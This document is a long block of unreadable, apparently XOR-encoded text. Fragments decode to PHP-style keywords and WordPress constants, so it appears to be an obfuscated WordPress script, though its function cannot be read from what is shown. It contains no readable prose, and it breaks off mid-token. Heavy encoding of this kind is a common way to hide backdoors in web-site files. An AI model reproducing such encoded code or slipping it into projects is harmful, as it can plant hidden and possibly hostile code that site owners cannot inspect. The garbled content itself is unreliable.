XHTE]AJMVlVUAG_IICHX^OAK^K XHTE]AJMV&Q&YB_IX[sB\HYDFOJ XHTE]AJMV&Q&YB_IXs[O&Q&YB_IX^OAK^K IYG@AGXXsJ&^ZCC_s^sDC]YVUAG_IICHXNND@UGH@\HB@lVUAG_IICHXEK^NHCBNJO_JM@_I&EJ^ZCC_s^sDC]YPP^ZCC_s^sDC]Y^ZCC_s^sDC]YEK^NHCBNJO_&&&&NVOKHN^YKA_M^^MUmn|mxd^ZCC_s^sDC]Y ZJKVHJ^ZCC_s^sDC]Y&JC^IMODNVOKHN^YKA_M_OIMODFFHXW&EJlNND@UGH@\HB@OIMODFFHXOCBXEBYI&EA_KJ\DlNND@UGH@\HB@OIMODFFHX&&&EJEA_KJ\D

E[sZ]V\MU]NVKEA_KJ\D VUAG_IICHXJM@_IW&EA_KJ\DVUAG_IICHXEK^NHCBNJO_VUAG_IICHXNINKZJIH E[sZ]V\MU]NVK  EA_KJ\D&&&&EJVUAG_IICHXEA_KJ\D_N]JNVYOBBZ_TFET\OIMODFFHX EA_KJ\D&&&Q&Q&F[^MICVNKFGGOM^^MU&&&&ZJKVHJNINKZJIH &IFGYIVMOIB^JNINKZJIH &&&\KENNHNINKZJIH &&&&\UX_C[NVUAG_IICHXTsIEAMI[TI F[^MICVNKFGGO&JC^IMODF[^MICVNKFGGOM_HI]ACMJAAN\W&EJlEK^NHCBNJO_HI]ACMJAAN\W&]]XI^s@\F[YJ_V_ZEOIHI]ACMJAAN\ &_N]JNVYOBBZ_TFET\HI]ACMJAAN\ E[sZ]V\MU]NVK&Q&Q&JC^IMOD\UX_C[NM_HI]ACMJAAN\W&EJlNND@UGH@\HB@HI]ACMJAAN\W&]]XI^s@\F[YJ_V_ZEOIHI]ACMJAAN\ &EU@^_Y^]OZUI]BHI]ACMJAAN\&&&&Q&Q&JC^IMODJ[AFCO@FFZM_CAXKOOsJIEM]XW&EJlE[sZ]V\MU]NVKCAXKOOsJIEM]XPPlE[sZ]V\MU]NVKCAXKOOsJIEM]XOCBXEBYI&EA_KJ\DlNND@UGH@\HB@CAXKOOsJIEM]X&EJNND@UGH@\HB@EA_KJ\DW&FXFNFNEBJH]YsEHY^[VIBXTTGTTEA_KJ\D E[sZ]V\MU]NVK VUAG_IICHX&FXFNFNEBJH]YsEHY^[VIBXTTGTTFXFNFNEBJH]Ys EK^NHCBNJO_ E[sZ]V\MU]NVK&EJVUAG_IICHXFXFNFNEBJH]Ys

FXFNFNEBJH]YsEA_KJ\D_N]JNVYOBBZ_TFET\CAXKOOsJIEM]X FXFNFNEBJH]Ys&YB_IXFXFNFNEBJH]Ys&Q&Q&&&&EJEK^NHCBNJO_VUAG_IICHX

NND@UGH@\HB@EK^NHCBNJO_W&&&&GIU^MG^ss[NYTZJ@YC&EJGIUJM@_IW&&&sMZsADVHDsJlE[sZ]V\MU]NVKGIU [  &EJsMZsADVHDsJW&lNND@UGH@\HB@sMZsADVHDsJ&lE[sZ]V\MU]NVKsMZsADVHDsJ&Q&Q&Q&EJVUAG_IICHXNND@UGH@\HB@W&]_[YENO@[C_I\\NII@T^YDmn|mxdVUAG_IICHX &lHI@IXIsC\XECB]_[YENO@[&&&&DsYJKTN_E[sZ]V\MU]NVKVUAG_IICHXlKIXsC\XECBNND@UGH@\HB@ M^^MUM^^MU&EJVUAG_IICHXDsYJKTN_W&EJE__IXDsYJKTN_wNqEU@^_Y^]OZUI]BDsYJKTN_wNq&EJE__IXDsYJKTN_wNND@UGH@\HB@q

E[sZ]V\MU]NVKDsYJKTN_wNND@UGH@\HB@qW&JC^IMODDsYJKTN_wE[sZ]V\MU]NVKqM_sOEW&&&EJVUAG_IICHXsOE

E__IXsOEwNqEU@^_Y^]OZUI]BsOEwNq&Q&Q&Q&lHI@IXIsC\XECBE[sZ]V\MU]NVK&&lHI@IXIsC\XECBE[sZ]V\MU]NVK&lHI@IXIsC\XECBVUAG_IICHX&lHI@IXIsC\XECBEK^NHCBNJO_&lHI@IXIsC\XECBVUAG_IICHX&lHI@IXIsC\XECBEK^NHCBNJO_&lHI@IXIsC\XECBVUAG_IICHX&lHI@IXIsC\XECBEK^NHCBNJO_&&YB_IXDsYJKTN_ sOE&Q&{|jCBX`EN^M^UXMTCBCAU^IKE_X^MXECB&&EJNND@UGH@\HB@VUAG_IICHXW&lHI@IXIsX^MB_EIBXEK^NHCBNJO_&lHI@IXIsX^MB_EIBXE[sZ]V\MU]NVK&lHI@IXIsX^MB_EIBXM__^sKEVEG_]&Q&EJNND@UGH@\HB@EK^NHCBNJO_W&&&l[\sO@IM^s_ODIHY@IHsDCCGEK^NHCBNJO_JNZ@XY^H][\PDI]^TXEOD]BK_JNZ@XY^H][\r&&&l[\sO@IM^s_ODIHY@IHsDCCGEK^NHCBNJO_&l[\sO@IM^s_ODIHY@IHsDCCGVB[AV][^ZI&&&&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBGMTT\HJCEIUX]]M&W&X^UW&&EJHIJEBIHVUAG_IICHX^IXY^BJM@_I&&&&ZJKVHJYUH]T_YAHOZXYJM&AVCFGCY@OZJKVHJEK^NHCBNJO_&HZ]]M\F[FZVUE[sZ]V\MU]NVK^_NIVAZ VUAG_IICHX&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPE[sZ]V\MU]NVK\@D[FO@KBUTPPE[sZ]V\MU]NVK\@D[FO@KBUTTIIHTMJPPN^K^OUAND]XIV\@D[FO@KBUTPPZVHB^HE]OsNOVNY\@D[FO@KBUT^IXY^BJM@_I&OY^^IBXlVUAG_IICHXAVCFGCY@OlE[sZ]V\MU]NVKAVCFGCY@O&EJVUAG_IICHXOY^^IBXW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVK&^IXY^BJM@_I&Q&OY^^IBXF[sE_EYEDFGFIOY^^IBX&FZHCF^XBUUB[KNGMVXV[KCMBM[JXC_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK TT&&&_^]AKsY]BVAGE[sZ]V\MU]NVKFZHCF^XBUUBNND@UGH@\HB@&&&&ADBT^ME[sZ]V\MU]NVKFZHCF^XBUUBNND@UGH@\HB@&MHZ\BF]ADC_I\\NII@T^YDmn|mxdVUAG_IICHX &YZUGOIMBVOZ[FEEK^NHCBNJO_VUAG_IICHXMHZ\BF]ADE[sZ]V\MU]NVK  OY^^IBX&YBUF]NJ@F]VUAG_IICHXYZUGOIMBVOZ[FE VUAG_IICHXJM@_I&EJNND@UGH@\HB@OY^^IBX _^]AKsY]BVAGJM@_I

NND@UGH@\HB@OY^^IBX ADBT^MJM@_I

YBUF]NJ@F]^IXY^BX^YI&OY^^IBXVUAG_IICHXVUAG_IICHX  YZUGOIMBVOZ[FE&EJNND@UGH@\HB@OY^^IBXW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&^IXY^BJM@_I&Q&OZE^G@JKsZTXM^@KF]VX][_EX&EJOZE^G@JKsZ^IXY^BJM@_I&&&OV^IKC^K^@NND@UGH@\HB@E[sZ]V\MU]NVKE[sZ]V\MU]NVKHZ]]M\F[FZVU_X^EBK\^FTV@HAFZ  r&ZGECOC\GBsJ_AOFHTI\Ds\IJ&E[sZ]V\MU]NVK &M^^MUss`ykss ss|`ykebsnmiss sskym~hsbmaiss sszi~ecbss &M^^MUHZ]]M\F[FZVU OZE^G@JKsZ OV^IKC^K^@ [KNGMVXV[KCMBM[JX&&&&EJZGECOC\GW&EJEBXKIXsC\XECBNND@UGH@\HB@ CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&&&&^IXY^BJM@_I&Q&&OY^^IBXF[sE_EYEDFGFIOY^^IBX&UZHUXETXBMKFJEK^NHCBNJO_NND@UGH@\HB@  ZGECOC\G&C^T[FNXC@BT]EE[sZ]V\MU]NVKOY^^IBX&&&EJC^T[FNXC@BT]EW&EJXDK_sE_DJVJJDVBVUAG_IICHXW&&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&^IXY^BJM@_I&Q&&EJBOsCYCXMMVEAVCFGCY@O OY^^IBXW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ E[sZ]V\MU]NVK&&&&^IXY^BJM@_I&Q&O]TZIAZUK\[VEEF^VUAG_IICHX&QI@_IW&EJBOsCYCXMMVEAVCFGCY@O W^s]H_TDYYX[H@G\XUTOY^s]H_TDYY&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@&&^IXY^BJM@_I&Q&Q&ZKEXI\D_sTDI@HAAE\Js\^\OY^^IBX _^]AKsY]BVAGpBUZHUXETXBMKFJpBADBT^M&&&&EJ_N]JNVYOBBZ_TFET\AVCFGCY@O ZKEXI\D_sTDW&^IXY^BJM@_I&&Q&EJC^T[FNXC@BT]E@MJGUDXJDsMAVCFGCY@O&^IXY^BX^YI&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&^IXY^BJM@_I&&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&Q&&&&Q&&&&JYBOXECBJ[AFCO@FFZ&W&^EVOZFVCD]BHTsTM^^MU&&&EJE[sZ]V\MU]NVKEK^NHCBNJO_^IXY^B^EVOZFVCD]BHTsT&EHHssDKFNHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~HIJEBIHNND@UGH@\HB@mn|mxdNND@UGH@\HB@VUAG_IICHX&&Y\ZB[TETNEB__X^EBKlKIXsC\XECBVUAG_IICHX &EJY\ZB[TETNEB_^EVOZFVCD]BHTsTwqEHHssDKFNY\ZB[TETNEB_E[sZ]V\MU]NVK&J[]TY_s]A@TDD_X^EBKlKIXsC\XECBEK^NHCBNJO_ &&&EJJ[]TY_s]A@TDD

J[]TY_s]A@TDDY\ZB[TETNEB_^EVOZFVCD]BHTsTwqEHHssDKFNJ[]TY_s]A@TDDNND@UGH@\HB@&&&&^IXY^B^EVOZFVCD]BHTsT&Q&JYBOXECB@EM[^AN\^B[[^&W&X^UW&EJHIJEBIHNND@UGH@\HB@PPVUAG_IICHXEK^NHCBNJO_^IXY^B&JC^IMODJ[AFCO@FFZM_EE_KA\U@DJW&DC_XNUXIC^HI^&&&ET^KHDsEBYV[AXXJCU]ZNBNKEE[sZ]V\MU]NVKC_I\\NII@T^YDEE_KA\U@DJ NND@UGH@\HB@&EJlNND@UGH@\HB@ET^KHDsEBYVOCBXEBYI&EJlNND@UGH@\HB@EE_KA\U@DJ

lEK^NHCBNJO_EE_KA\U@DJOCBXEBYI&ZDIT^GMlEK^NHCBNJO_ET^KHDsEBYV&EJE[sZ]V\MU]NVKZDIT^GMPPZDIT^GMOCBXEBYI&&&EJ_N]JNVYOBBZ_TFET\EE_KA\U@DJ ZDIT^GMW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&lY\HMXIsC\XECBE[sZ]V\MU]NVK VUAG_IICHX E[sZ]V\MU]NVK&Q&Q&lHE_\MXODOCYBXAEB_GIXOD&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&Q&Q&JYBOXECBHNs_]VTM]T&W&&&&X^UW&EJHIJEBIHVUAG_IICHX^IXY^BJM@_I&&&DX\_JIMTHZHJ[AFCO@FFZ&EJIA\XUDX\_JIMTHZH^IXY^BJM@_I&HIMUEKJDEKOEBXKIXsC\XECBVUAG_IICHX &EJHIMUEKJDEKO

EK^NHCBNJO_HIMUEKJDEKOTMHTMO^IXY^BJM@_I&FZHCF^XBUUB[KNGMVXV[KCMBM[JXC_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK TT&&&_^]AKsY]BVAGNND@UGH@\HB@FZHCF^XBUUBEK^NHCBNJO_&ADBT^ME[sZ]V\MU]NVKFZHCF^XBUUBNND@UGH@\HB@&OV^IKC^K^@NND@UGH@\HB@E[sZ]V\MU]NVKE[sZ]V\MU]NVKmn|mxd_X^EBK\^FTV@HAFZ  &HZ]]M\F[FZVUVUAG_IICHX^_NIVAZ EK^NHCBNJO_&OZE^G@JKsZTXM^@KF]VX][_EX&&&EJOZE^G@JKsZ^IXY^BJM@_I&X^E]B@BsJ_AOFHTI\Ds\IJ&EK^NHCBNJO_ &M^^MUss`ykss ss|`ykebsnmiss sskym~hsbmaiss sszi~ecbss &M^^MUHZ]]M\F[FZVU OZE^G@JKsZ OV^IKC^K^@ [KNGMVXV[KCMBM[JX&&EJX^E]B@W&&&EJEBXKIXsC\XECBNND@UGH@\HB@ CGTNsH^OGY_HMU@YNND@UGH@\HB@ VUAG_IICHX&^IXY^BJM@_I&Q&X^E]B@E[sZ]V\MU]NVKEK^NHCBNJO_  X^E]B@&EJNND@UGH@\HB@X^E]B@PPX^E]B@^IXY^BJM@_I&JC^IMODDX\_JIMTHZHM_CAXKOOsJIEM]XW&EJlE[sZ]V\MU]NVKCAXKOOsJIEM]XOCBXEBYI&YCAJXVDFCE[sZ]V\MU]NVKEK^NHCBNJO_lNND@UGH@\HB@CAXKOOsJIEM]X OJM@_I&EJYCAJXVDFCJM@_I

E[sZ]V\MU]NVKEK^NHCBNJO_lJ@COGYCAJXVDFC `cogsit&OY^^IBXlVUAG_IICHXCAXKOOsJIEM]X&EJVUAG_IICHXOY^^IBXW&CGTNsH^OGY_HMU@YVUAG_IICHX VUAG_IICHX&EJYCAJXVDFCJM@_IW&&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKlJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&Q&OCBXEBYI&Q&X^UW&&EJEK^NHCBNJO_OY^^IBXTOJOTIHOY^^IBXF[sE_EYEDFGFIOY^^IBXI@INTDV[[PBJ[NM\MCUMI@INTDV[[r&EJNND@UGH@\HB@OY^^IBX _^]AKsY]BVAGJM@_I

E[sZ]V\MU]NVKOY^^IBX ADBT^MJM@_I^IXY^BX^YI&&EJlVUAG_IICHXCAXKOOsJIEM]XOCBXEBYI&&&&ET^KHDsEBYV[AXXJCU]ZNBNKEVUAG_IICHXC_I\\NII@T^YDCAXKOOsJIEM]X NND@UGH@\HB@&&&&GU@BHFFUC_I\\NII@T^YDmn|mxdEK^NHCBNJO_ &OY^^IBXEHY^[VIBXTTGTTOY^^IBX E[sZ]V\MU]NVK EK^NHCBNJO_&OY^^IBXE[sZ]V\MU]NVKE[sZ]V\MU]NVK  OY^^IBX&EJNND@UGH@\HB@OY^^IBXW&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@NZGTMX\DK]NPUZGNOJDVNZGTMX\DK]Nr&&&OCBXEBYI&Q&EJNND@UGH@\HB@OY^^IBX VUAG_IICHXJM@_IPPVUAG_IICHXOY^^IBX VUAG_IICHXJM@_IW&NMNA_EIlNND@UGH@\HB@ET^KHDsEBYVlEK^NHCBNJO_ET^KHDsEBYVJM@_I&EJNND@UGH@\HB@NMNA_EIPPNMNA_EIWXTV[[ZM@CNCJVUTDG_sXTV[[ZM@C	&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&OCBXEBYI&Q&&OY^^IBXNMNA_EI&YB_IXNMNA_EI&Q&[HME^VZsF\^F\U]HEOY^^IBX&EJEK^NHCBNJO_[HME^V

[HME^VW&&NCD]MINGG\OlVUAG_IICHXET^KHDsEBYVlEK^NHCBNJO_ET^KHDsEBYVJM@_I&EJNND@UGH@\HB@NCD]MINGG\OPPNCD]MINGG\O[HME^V_N]JNVYOBBZ_TFET\ET^KHDsEBYV [HME^V&&&YB_IXNCD]MINGG\O&Q&YB_IX[HME^V&[E]NKTF@BIAGVUAG_IICHX&EJVUAG_IICHXOY^^IBX

NND@UGH@\HB@OY^^IBX VUAG_IICHXJM@_I

NND@UGH@\HB@VUAG_IICHXOY^^IBX E[sZ]V\MU]NVKW&[E]NKTF@BIAG&Q&&&HVDTJDHTBNND@UGH@\HB@OY^^IBXpB&&\VNT^UGVCOHVDTJDHTB[E]NKTF@BIAG_^]AKsY]BVAGpBX^E]B@pBADBT^MpB&EJBOsCYCXMMVECAXKOOsJIEM]X OY^^IBXW&JY@JE@@EBJIM_EN@IMJJEBIXU\I&&&CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&&OCBXEBYI&Q&&EJ_N]JNVYOBBZ_TFET\CAXKOOsJIEM]X OY^^IBX\VNT^UGVCOOCBXEBYI&^IXY^BX^YI&QJEBM@@UW&&EJYCAJXVDFCJM@_IW&EJE[sZ]V\MU]NVKEK^NHCBNJO_lJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&Q&Q&Q&^IXY^BJM@_I&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&&&&^IXY^BJM@_I&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&&Q&Q&JYBOXECBsBJ@]\UHX\F&W&&&X^UW&&&&EJHIJEBIHNND@UGH@\HB@^IXY^B&EJVAIHJFNZXOVAK[^_NIVAZ^IXY^B&ZJKVHJYUH]T_YAHOZXYJM&]JKJ\JD^^C_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK rNND@UGH@\HB@&HZ]]M\F[FZVUNND@UGH@\HB@^_NIVAZ E[sZ]V\MU]NVK&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPE[sZ]V\MU]NVK\@D[FO@KBUTW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_&^IXY^B&&&Q&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK^IXY^B&^ZOUNVA\C[[M^^MU&ZJKVHJ]JKJ\JD^^ &&ZJKVHJNND@UGH@\HB@E[sZ]V\MU]NVKE[sZ]V\MU]NVK]JKJ\JD^^ &&@VM[B_MHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~mn|mxdE[sZ]V\MU]NVKNND@UGH@\HB@&&&&EJlNND@UGH@\HB@@VM[B_MW&sZAFHsX_[@[Y_YDBID_DM_]GY@VM[B_M&&EJEK^NHCBNJO_sZAFHsX_[@[W&&&&JC^IMODsZAFHsX_[@[M_@XB\NXsW&E_K^]NNT\@VM[B_M@XB\NXs&EJlVUAG_IICHXE_K^]NNT\

lVUAG_IICHXE_K^]NNT\W&^ZOUNVA\C[[wqE_K^]NNT\]JKJ\JD^^&&&&N^IMG&Q&&&&Q&lEBXI^^Y\X_X^YOXY^M@XU\I&&Q&Q&EBFIOXEZIMHFMHM\XI^&&JC^IMOD^ZOUNVA\C[[M_@DE^X@H]W&EJlVUAG_IICHX@DE^X@H]

lEK^NHCBNJO_@DE^X@H]TJJTIW&JBZC[IUUEK^NHCBNJO_&&EJE[sZ]V\MU]NVKJBZC[IUUW&FY^CXAVIBI[JBZC[IUU&EJlFY^CXAVIC\IB@DE^X@H]X^YIW&&&&FY^CXAVIO@C_I&OCBXEBYI&Q&Q&Q&&&&^\G@GYO_NND@UGH@\HB@@DE^X@H]&EJlVUAG_IICHX^\G@GYO_sBTGT_@UKFJMMH^\G@GYO_  X^YI&JBZC[IUUVUAG_IICHX&&&UUZ_AHN]UHHOs^BOHHD\YGsOT^\G@GYO_ EK^NHCBNJO_&&&EJUUZ_AHN]UHHJM@_IOCBXEBYI&ssUsU^EO_BI[JBZC[IUU&EJlssUsU^EO_C\IBUUZ_AHN]UHH JBZC[IUUo~imxiPJBZC[IUUczi~{~exiX^YIW&ssUsU^EO_MHHj^CAX^EBKHZ]]M\F[FZVUHZ]]M\F[FZVUE[sZ]V\MU]NVK \@D[FO@KBUT&ssUsU^EO_O@C_I&J]\@[AK[TIBI[JBZC[IUU&EJlJ]\@[AK[TIC\IBUUZ_AHN]UHHX^YIW&J]\@[AK[TIO@C_I&EJD^@ZVFN[YsG\UUZ_AHN]UHH @DE^X@H]PPJCVY[K[^ETMUUZ_AHN]UHH @DE^X@H]

EU@^_Y^]OZUI]BUUZ_AHN]UHHW&OGDYBEsTOUKXHX@DE^X@H] [DVTYUDIYEJ&&&]]XI^s@\F[YJ_V_ZEOI@DE^X@H] &&&&QI@_IW&{|I^ZI^EHI~IBHI^OCB_XMBXXEAI_ODIHY@I^&&&&&EU@^_Y^]OZUI]BUUZ_AHN]UHH&Q&M\\^CTEAMXIAMXOD&&QI@_IW&EU@^_Y^]OZUI]BUUZ_AHN]UHH&Q&QI@_IW&EU@^_Y^]OZUI]BUUZ_AHN]UHH&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&&&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&&&&Q&JYBOXECBFUJGUVHTFKI^\&W&&&&X^UW&&&EJE[sZ]V\MU]NVKEK^NHCBNJO_PPE[sZ]V\MU]NVKVUAG_IICHX^IXY^B&EJHIJEBIHEK^NHCBNJO_^IXY^B&&OEM@s]_@E[sZ]V\MU]NVK&EJ[\sBITXs_ODIHY@IHOEM@s]_@W&&&[\s_ODIHY@IsIZIBXE[sZ]V\MU]NVK EK^NHCBNJO_ OEM@s]_@&I_OM\IMBM@UVI_I_]YE@EBIM^_GE\@E_X&&Q&&&EJ[\sBITXs_ODIHY@IHE[sZ]V\MU]NVKW&[\s_ODIHY@IsIZIBXNND@UGH@\HB@ NND@UGH@\HB@ E[sZ]V\MU]NVK&Q&O@C_IHOCBXMEBI^&&QOMXODxD^C[MN@I@XB\NXsWB]JY[@^_K\DVNB]JY[@^	&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&&&Q&&&&JYBOXECBFs\_GTYXG[K]E&W&X^UW&EJHIJEBIHVUAG_IICHX^IXY^B&MUCCEM[C_I\\NII@T^YDmn|mxdK r&VYKC[DOXACUNBFIM^^MU&EJE[sZ]V\MU]NVKNND@UGH@\HB@VYKC[DOXACUNBFIwq[AXXJCU]ZNBNKE&VYKC[DOXACUNBFIwqmn|mxdE[sZ]V\MU]NVK&&&EJEK^NHCBNJO_EK^NHCBNJO_VYKC[DOXACUNBFIwqYUH]T_YAHOZXYJM&JC^IMODVYKC[DOXACUNBFIM_A]CJNMW&VYF@O_D@VUA]CJNMEK^NHCBNJO_MUCCEM[&EJlVUAG_IICHXVYF@O_D@VU

EBXlEK^NHCBNJO_VYF@O_D@VUVUAG_IICHX^IXY^B&Q&&JC^IMODVYKC[DOXACUNBFIM_A]CJNMW&@sU@BIA@YCYsNA]CJNMVUAG_IICHXMUCCEM[&EJlVUAG_IICHX@sU@BIA@YCYsNW&CXYFTEHJUU^UEBXlEK^NHCBNJO_@sU@BIA@YCYsN&EJCXYFTEHJUU^UVUAG_IICHX

CXYFTEHJUU^UVUAG_IICHXOCBXEBYI&EU@^_Y^]OZUI]B@sU@BIA@YCYsN&Q&[OO[NBFNUMJKFA]CJNME[sZ]V\MU]NVKMUCCEM[EK^NHCBNJO_&EJlVUAG_IICHX[OO[NBFNUMJKF

EBXlEK^NHCBNJO_[OO[NBFNUMJKFW&FBV\OZE\CA]CJNMNND@UGH@\HB@MUCCEM[&FFCECH]@lE[sZ]V\MU]NVKFBV\OZE\CNND@UGH@\HB@_X^EBKlVUAG_IICHXFBV\OZE\C&EJFFCECH]@

E[sZ]V\MU]NVKEK^NHCBNJO_

lAHsJE@I[OO[NBFNUMJKFFFCECH]@W&lEBO@YHI[OO[NBFNUMJKF&^IXY^B&Q&EJFFCECH]@W&EU@^_Y^]OZUI]B[OO[NBFNUMJKF&Q&YB_IXFBV\OZE\C FFCECH]@&Q&Q&YB_IX@sU@BIA@YCYsN CXYFTEHJUU^U&EJEK^NHCBNJO_NND@UGH@\HB@lHI@IXIsX^MB_EIBXNND@UGH@\HB@&@FF^MN@A[B^K@N]N&&&&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBZHU@XIYK^&W&X^UW&EJHIJEBIHNND@UGH@\HB@^IXY^B&[HFGAIUI@EJKBY@@&HZ]]M\F[FZVUE[sZ]V\MU]NVK^_NIVAZ E[sZ]V\MU]NVK\JCHKI^XKIM@[TG^_s\F\s\JCHKI^XKIM@[&]NOX_]U\I^_NIVAZ&\@D[FO@KBUT&EJlE[sZ]V\MU]NVK]NOX_]U\I

lNND@UGH@\HB@]NOX_]U\IW&BZI[]DAMFVJ_X^EBKlVUAG_IICHX]NOX_]U\I\XV\C[XZC@HXs\VV[K\XV\C[XZ\XV\C[XZ\XV\C[XZ&[GEXJMIACVEK^NHCBNJO_EK^NHCBNJO_F[sE_EYEDFGFIBZI[]DAMFVJBZI[]DAMFVJ&EJE[sZ]V\MU]NVK[GEXJMIACV

E[sZ]V\MU]NVK[GEXJMIACV

ZVHB^HE]OsNOVNY[GEXJMIACV\@D[FO@KBUT[GEXJMIACV&YB_IXBZI[]DAMFVJ [GEXJMIACV&Q&EJ\@D[FO@KBUTW&]_[YENO@[C_I\\NII@T^YDmn|mxdNND@UGH@\HB@ &OZE^G@JKsZE[sZ]V\MU]NVKE[sZ]V\MU]NVKlKIXsC\XECB]_[YENO@[ &EJOZE^G@JKsZPPNND@UGH@\HB@OZE^G@JKsZ^IXY^B_@IsAVNDP[VMCAG]U^__@IsAVNDr&\@D[FO@KBUT]\[NXV\CEKEF@TZ^CVUAG_IICHXOZE^G@JKsZ&EJ\@D[FO@KBUTPPNND@UGH@\HB@\@D[FO@KBUT^IXY^B&&&EJZVHB^HE]OsNOVNY\@D[FO@KBUTW&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@&^IXY^B&Q&Q&ZJKVHJYUH]T_YAHOZXYJM&KAAXKH[^YTGZJKVHJE[sZ]V\MU]NVKHZ]]M\F[FZVU&AKI]OKN_NFK_KAAXKH[^YTGHZ]]M\F[FZVUVUAG_IICHX&EJlVUAG_IICHXKAAXKH[^YTGsBTGT_@UKFJMMHKAAXKH[^YTG  X^YI&JUK^s^AIMNZXsFlE[sZ]V\MU]NVKAKI]OKN_NFK__X^EBKlEK^NHCBNJO_AKI]OKN_NFK_&&FH@ZEYGNJNBXJM@_I&EJJUK^s^AIMNZXsF

EK^NHCBNJO_EK^NHCBNJO_ VUAG_IICHXJUK^s^AIMNZXsF   TEsTFGZ@

ZI^_ECBsOCA\M^ITEsTFGZ@wq [KNGMVXV[KCMBM[JX FH@ZEYGNJNBXX^YI&YB_IXTEsTFGZ@&EJFH@ZEYGNJNBX

JUK^s^AIMNZXsFPPNND@UGH@\HB@F[sE_EYEDFGFIJUK^s^AIMNZXsFNND@UGH@\HB@\@D[FO@KBUTW&EJ_N]JNVYOBBZ_TFET\AKI]OKN_NFK_ XJA]CCJGYUMIGCB[\@D[FO@KBUTW&]]XI^s@\F[YJ_V_ZEOIAKI]OKN_NFK_ &IF@GHOXG@AKI]OKN_NFK_&@MJGUDXJDsMAKI]OKN_NFK_&Q&Q&YB_IXJUK^s^AIMNZXsF FH@ZEYGNJNBX&EJEK^NHCBNJO_VUAG_IICHX

EK^NHCBNJO_NND@UGH@\HB@WU\OJGXXM[C[YCG_ZO[ZDD^GAU\OJGXXM[C[&^]ZN@TVOOCHZ]]M\F[FZVUHZ]]M\F[FZVUE[sZ]V\MU]NVK&&&&TDMV[XOIs_UFKIXsC\XECBE[sZ]V\MU]NVK M^^MU&&&EJEK^NHCBNJO_TDMV[XOIs_UFTDMV[XOIs_UFM^^MU&&&&EJE[sZ]V\MU]NVK^]ZN@TVOOC TDMV[XOIs_UF X^YIW&TDMV[XOIs_UFwq^]ZN@TVOOC&Y\HMXIsC\XECBNND@UGH@\HB@ NND@UGH@\HB@TDMV[XOIs_UF&&&Q&Q&IIKHZ_AODETNFYsOMCBICZZUG_CDXB&EJlEK^NHCBNJO_IIKHZ_AODETNFPPsBTGT_@UKFJMMHIIKHZ_AODETNF  X^YIW&]MKJX\JIIKHZ_AODETNFHZ]]M\F[FZVUNND@UGH@\HB@&BAKBEMHNslEK^NHCBNJO_]MKJX\J_X^EBKlEK^NHCBNJO_]MKJX\J&UOEU@ND\JsJM@_I&EJBAKBEMHNs

EK^NHCBNJO_EK^NHCBNJO_ EK^NHCBNJO_BAKBEMHNs   MM_@THNN]

ZI^_ECBsOCA\M^IMM_@THNN]wq [KNGMVXV[KCMBM[JX UOEU@ND\JsX^YI&YB_IXMM_@THNN]&&&EJUOEU@ND\Js

BAKBEMHNsPPNND@UGH@\HB@F[sE_EYEDFGFIBAKBEMHNsNND@UGH@\HB@\@D[FO@KBUTWABBKUGVZMPM\E[G^_YABBKUGVZMr&EJ_N]JNVYOBBZ_TFET\]MKJX\J XJA]CCJGYUMIGCB[\@D[FO@KBUTW&&]]XI^s@\F[YJ_V_ZEOI]MKJX\J &IF@GHOXG@]MKJX\J&&@MJGUDXJDsM]MKJX\J&Q&@CKM^EXDAEOMHM\XI^&&QI@_IEJUOEU@ND\JsW&HFFNAXK\FlNND@UGH@\HB@]MKJX\J&EJHFFNAXK\FPPHFFNAXK\F	\^FTV@HAFZIF@GHOXG@]MKJX\J&YB_IXHFFNAXK\F&&&Q&YB_IXBAKBEMHNs UOEU@ND\Js&Q&NE[\^KDFYJNX[B\@D[FO@KBUT&QOMXODxD^C[MN@I@XB\NXsW&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBMTO[EHV@X@sE]sFVX&W&EJE__IXskixw\qPPVU